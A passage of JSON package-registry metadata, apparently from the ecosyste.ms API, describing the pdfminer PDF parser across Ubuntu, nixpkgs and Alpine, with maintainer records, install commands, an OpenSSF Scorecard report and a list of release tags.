Rodas","email":null,"url":"https://github.com/marsam","packages_count":456,"html_url":null,"role":null,"created_at":"2026-03-04T07:36:41.429Z","updated_at":"2026-03-04T07:36:41.429Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-23.05/maintainers/marsam/packages"},{"uuid":"PsyanticY","login":null,"name":"Psyanticy","email":"iuns@outlook.fr","url":"https://github.com/PsyanticY","packages_count":62,"html_url":null,"role":null,"created_at":"2026-03-04T07:36:41.383Z","updated_at":"2026-03-04T07:36:41.383Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-23.05/maintainers/PsyanticY/packages"}],"registry":{"name":"nixpkgs-23.05","url":"https://channels.nixos.org/nixos-23.05","ecosystem":"nixpkgs","default":false,"packages_count":101092,"maintainers_count":2622,"namespaces_count":0,"keywords_count":0,"github":"NixOS","metadata":{"funded_packages_count":151},"icon_url":"https://github.com/NixOS.png","created_at":"2026-01-25T22:30:53.882Z","updated_at":"2026-04-03T06:21:54.798Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-23.05/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-23.05/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-23.05/namespaces"}},{"id":13401374,"name":"pdfminer","ecosystem":"ubuntu","description":null,"homepage":"https://github.com/pdfminer/pdfminer.six","licenses":null,"normalized_licenses":[],"repository_url":"https://github.com/pdfminer/pdfminer.six","keywords_array":["universe/python"],"namespace":"universe","versions_count":1,"first_release_published_at":"2026-02-06T08:24:49.643Z","latest_release_published_at":"2026-02-06T08:24:49.643Z","latest_release_number":"20221105+dfsg-1","last_synced_at":"2026-03-06T17:20:18.645Z","created_at":"2026-02-06T08:24:48.251Z","updated_at":"2026-03-06T17:20:18.645Z","registry_url":"https://launchpad.net/ubuntu/+source/pdfminer","install_command":"apt-get install pdfminer","documentation_url":null,"metadata":{"component":"universe","architecture":"all","priority":"optional","binary":"python3-pdfminer, pdfminer-data","standards_version":"4.6.2.0","maintainer":"Debian Python Team \u003cteam+python@tracker.debian.org\u003e","build_depends":"debhelper-compat (= 13), dh-python, docbook-xml, docbook-xsl, libxml2-utils, python3-all, python3-charset-normalizer, python3-cryptography, python3-pytest, python3-setuptools, rename, xsltproc","build_depends_indep":null,"build_depends_arch":null},"repo_metadata":{},"repo_metadata_updated_at":null,"dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{},"purl":"pkg:deb/ubuntu/pdfminer?arch=source\u0026distro=ubuntu-24.04","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/ubuntu/pdfminer","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/ubuntu/pdfminer","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/ubuntu/pdfminer/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":null,"versions_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-24.04/packages/pdfminer/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-24.04/packages/pdfminer/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-24.04/packages/pdfminer/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-24.04/packages/pdfminer/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-24.04/packages/pdfminer/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-24.04/packages/pdfminer/codemeta","maintainers":[],"registry":{"name":"ubuntu-24.04","url":"https://launchpad.net/ubuntu/noble","ecosystem":"ubuntu","default":true,"packages_count":37306,"maintainers_count":0,"namespaces_count":4,"keywords_count":0,"github":"ubuntu","metadata":{"codename":"noble"},"icon_url":"https://github.com/ubuntu.png","created_at":"2026-02-04T11:01:45.928Z","updated_at":"2026-04-27T18:20:35.701Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-24.04/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-24.04/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-24.04/namespaces"}},{"id":13187109,"name":"pdfminer","ecosystem":"nixpkgs","description":"PDF parser and analyzer","homepage":"https://github.com/pdfminer/pdfminer.six","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/pdfminer/pdfminer.six","keywords_array":["python"],"namespace":null,"versions_count":1,"first_release_published_at":"2026-02-01T23:58:01.471Z","latest_release_published_at":"2026-02-01T23:58:01.471Z","latest_release_number":"20231228","last_synced_at":"2026-03-07T00:12:42.896Z","created_at":"2026-02-01T23:58:01.143Z","updated_at":"2026-03-07T00:12:43.258Z","registry_url":"https://search.nixos.org/packages?channel=24.05\u0026query=pdfminer","install_command":"nix-env -iA nixpkgs.pdfminer","documentation_url":"https://github.com/NixOS/nixpkgs/blob/nixos-24.05/pkgs/development/python-modules/pdfminer-six/default.nix#L70","metadata":{"nix_attribute":"pdfminer-six-20231228","position":"pkgs/development/python-modules/pdfminer-six/default.nix:70","platforms":["aarch64-linux","armv5tel-linux","armv6l-linux","armv7a-linux","armv7l-linux","i686-linux","loongarch64-linux","m68k-linux","microblaze-linux","microblazeel-linux","mips-linux","mips64-linux","mips64el-linux","mipsel-linux","powerpc64-linux","powerpc64le-linux","riscv32-linux","riscv64-linux","s390-linux","s390x-linux","x86_64-linux","x86_64-darwin","i686-darwin","aarch64-darwin","armv7a-darwin","i686-cygwin","x86_64-cygwin","x86_64-windows","i686-windows"],"broken":false,"insecure":false,"unfree":false,"outputs":["dist","out"]},"repo_metadata":{},"repo_metadata_updated_at":null,"dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{},"purl":"pkg:nix/pdfminer?channel=24.05\u0026repository_url=https://channels.nixos.org/nixos-24.05","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/nixpkgs/pdfminer","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/nixpkgs/pdfminer","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/nixpkgs/pdfminer/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":null,"versions_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-24.05/packages/pdfminer/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-24.05/packages/pdfminer/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-24.05/packages/pdfminer/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-24.05/packages/pdfminer/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-24.05/packages/pdfminer/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-24.05/packages/pdfminer/codemeta","maintainers":[{"uuid":"PsyanticY","login":null,"name":"Psyanticy","email":"iuns@outlook.fr","url":"https://github.com/PsyanticY","packages_count":59,"html_url":null,"role":null,"created_at":"2026-03-07T00:12:43.141Z","updated_at":"2026-03-07T00:12:43.141Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-24.05/maintainers/PsyanticY/packages"}],"registry":{"name":"nixpkgs-24.05","url":"https://channels.nixos.org/nixos-24.05","ecosystem":"nixpkgs","default":false,"packages_count":116156,"maintainers_count":3383,"namespaces_count":0,"keywords_count":654,"github":"NixOS","metadata":{"funded_packages_count":251},"icon_url":"https://github.com/NixOS.png","created_at":"2026-01-25T22:30:53.309Z","updated_at":"2026-05-28T05:12:02.705Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-24.05/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-24.05/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-24.05/namespaces"}},{"id":6095639,"name":"py3-pdfminer","ecosystem":"alpine","description":"Python PDF Parser","homepage":"https://github.com/pdfminer/pdfminer.six","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/pdfminer/pdfminer.six","keywords_array":[],"namespace":"community","versions_count":1,"first_release_published_at":"2022-08-09T08:22:32.000Z","latest_release_published_at":"2022-08-09T08:22:32.000Z","latest_release_number":"20201018-r3","last_synced_at":"2026-03-17T23:11:51.720Z","created_at":"2023-01-31T20:33:39.500Z","updated_at":"2026-03-17T23:11:51.721Z","registry_url":"https://pkgs.alpinelinux.org/package/v3.17/community/x86_64/py3-pdfminer","install_command":"apk add py3-pdfminer","documentation_url":null,"metadata":{"repository":"community","architecture":"x86_64"},"repo_metadata":{"id":20194704,"uuid":"23465887","full_name":"pdfminer/pdfminer.six","owner":"pdfminer","description":"Community maintained fork of pdfminer - we fathom PDF","archived":false,"fork":false,"pushed_at":"2025-05-06T16:15:59.000Z","size":14777,"stargazers_count":6688,"open_issues_count":225,"forks_count":993,"subscribers_count":117,"default_branch":"master","last_synced_at":"2025-09-09T22:39:55.166Z","etag":null,"topics":["parser","pdf","python"],"latest_commit_sha":null,"homepage":"https://pdfminersix.readthedocs.io","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/pdfminer.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null}},"created_at":"2014-08-29T14:04:53.000Z","updated_at":"2025-09-08T13:25:10.000Z","dependencies_parsed_at":"2023-11-24T19:31:13.024Z","dependency_job_id":"b5e49ed9-5c3c-40d5-a66f-0bab3e300fe5","html_url":"https://github.com/pdfminer/pdfminer.six","commit_stats":{"total_commits":833,"total_committers":131,"mean_commits":6.358778625954199,"dds":0.6614645858343338,"last_synced_commit":"5114acdda61205009221ce4ebf2c68c144fc4ee5"},"previous_names":[],"tags_count":27,"template":false,"template_full_name":null,"purl":"pkg:github/pdfminer/pdfminer.six","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pdfminer","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/sbom","scorecard":{"id":725514,"data":{"date":"2025-08-11","repo":{"name":"github.com/pdfminer/pdfminer.six","commit":"51683b2528e2aa685dd8b9e61f6ccf9f76a59a62"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":5.1,"checks":[{"name":"Code-Review","score":4,"reason":"Found 13/30 approved changesets -- score normalized to 4","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Maintained","score":0,"reason":"0 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 0","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Warn: no topLevel permission defined: .github/workflows/actions.yml:1","Info: found token with 'none' permissions: .github/workflows/cifuzz.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: OSSFuzz integration found","Info: PythonAtherisFuzzer integration found: fuzzing/extract_text_fuzzer.py:3","Info: PythonAtherisFuzzer integration found: fuzzing/extract_text_to_fp_fuzzer.py:4","Info: PythonAtherisFuzzer integration found: fuzzing/page_extraction_fuzzer.py:4","Info: PythonAtherisFuzzer integration found: fuzzing/utils.py:6"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Signed-Releases","score":0,"reason":"Project has not signed or included provenance with any releases.","details":["Warn: release artifact 20250506 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/216808673","Warn: release artifact 20250416 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/212749590","Warn: release artifact 20250327 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/208596512","Warn: release artifact 20250324 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/207771779","Warn: release artifact 20240706 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/164257153","Warn: release artifact 20250506 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/216808673","Warn: release artifact 20250416 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/212749590","Warn: release artifact 20250327 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/208596512","Warn: release artifact 20250324 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/207771779","Warn: release artifact 20240706 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/164257153"],"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:27: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:43: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:45: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:65: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:67: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:75: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:92: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:94: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:115: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:117: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/actions.yml:129: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/actions.yml:135: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:16: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/cifuzz.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:21: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/cifuzz.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:28: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/cifuzz.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:35: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/cifuzz.yml/master?enable=pin","Warn: pipCommand not pinned by hash: fuzzing/build.sh:2","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:50","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:51","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:81","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:82","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:99","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:100","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:122","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:32","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:33","Info:   0 out of  13 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   4 third-party GitHubAction dependencies pinned","Info:   0 out of  10 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Branch-Protection","score":3,"reason":"branch protection is not maximal on development and all release branches","details":["Info: 'allow deletion' disabled on branch 'master'","Info: 'force pushes' disabled on branch 'master'","Warn: branch 'master' does not require approvers","Warn: codeowners review is not required on branch 'master'","Info: status check found to merge onto on branch 'master'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/actions.yml:105"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"SAST","score":9,"reason":"SAST tool is not run on all commits -- score normalized to 9","details":["Warn: 27 commits out of 30 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-22T12:40:44.127Z","repository_id":20194704,"created_at":"2025-08-22T12:40:44.127Z","updated_at":"2025-08-22T12:40:44.127Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":274693397,"owners_count":25332518,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","status":"online","status_checked_at":"2025-09-11T02:00:13.660Z","response_time":74,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"pdfminer","name":"pdfminer","uuid":"22586632","kind":"organization","description":"we maintain pdfminer.six","email":null,"website":"https://github.com/pdfminer/","location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/22586632?v=4","repositories_count":1,"last_synced_at":"2024-03-25T18:42:54.428Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/pdfminer","funding_links":[],"total_stars":5318,"followers":34,"following":0,"created_at":"2022-11-02T16:26:19.316Z","updated_at":"2024-03-25T18:42:54.837Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pdfminer","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pdfminer/repositories"},"tags":[{"name":"20250506","sha":"51683b2528e2aa685dd8b9e61f6ccf9f76a59a62","kind":"tag","published_at":"2025-05-06T16:15:36.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20250506","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20250506","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20250506","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250506","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250506/manifests"},{"name":"20250416","sha":"d12382b277e7efadf61e387170e2e9f13e909cb0","kind":"tag","published_at":"2025-04-16T09:42:14.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20250416","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20250416","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20250416","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250416","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250416/manifests"},{"name":"20250327","sha":"cf7442f2c075374634624d50407c291e455dca2a","kind":"tag","published_at":"2025-03-27T07:50:45.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20250327","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20250327","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20250327","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250327","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250327/manifests"},{"name":"20250324","sha":"84f24933924b048afdab8bc07431244bf861c15f","kind":"tag","published_at":"2025-03-24T07:29:56.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20250324","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20250324","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20250324","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250324","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250324/manifests"},{"name":"20240706","sha":"fcfbcd3bfd61a429ac5ea92dd20f83a14d50e2f2","kind":"commit","published_at":"2024-07-06T13:47:18.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20240706","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20240706","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20240706","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20240706","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20240706/manifests"},{"name":"20231228","sha":"bd252ef5a578694efffdb1e42b24deea22f78d17","kind":"tag","published_at":"2023-12-28T21:24:07.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20231228","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20231228","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20231228","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20231228","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20231228/manifests"},{"name":"20221105","sha":"ebf7bcdb983f36d0ff5b40e4f23b52525cb28f18","kind":"tag","published_at":"2022-11-05T16:31:59.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20221105","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20221105","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20221105","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20221105","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20221105/manifests"},{"name":"20220524","sha":"0b09d5f8db1551d839d748f808eb246b95736b77","kind":"commit","published_at":"2022-05-24T17:41:54.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20220524","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20220524","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20220524","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220524","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220524/manifests"},{"name":"20220506","sha":"e19aea932d10938a995e89aea79fb304da5a82ff","kind":"commit","published_at":"2022-05-06T20:02:32.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20220506","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20220506","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20220506","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220506","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220506/manifests"},{"name":"20220319","sha":"ae7f31574642758a267a118c964ac874c1768ed5","kind":"commit","published_at":"2022-03-19T20:10:02.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20220319","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20220319","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20220319","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220319","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220319/manifests"},{"name":"20211012","sha":"da5b96828efdb184f6410c43fea30f7b7c893dfb","kind":"commit","published_at":"2021-10-12T18:45:24.000Z","download_url":"https://cod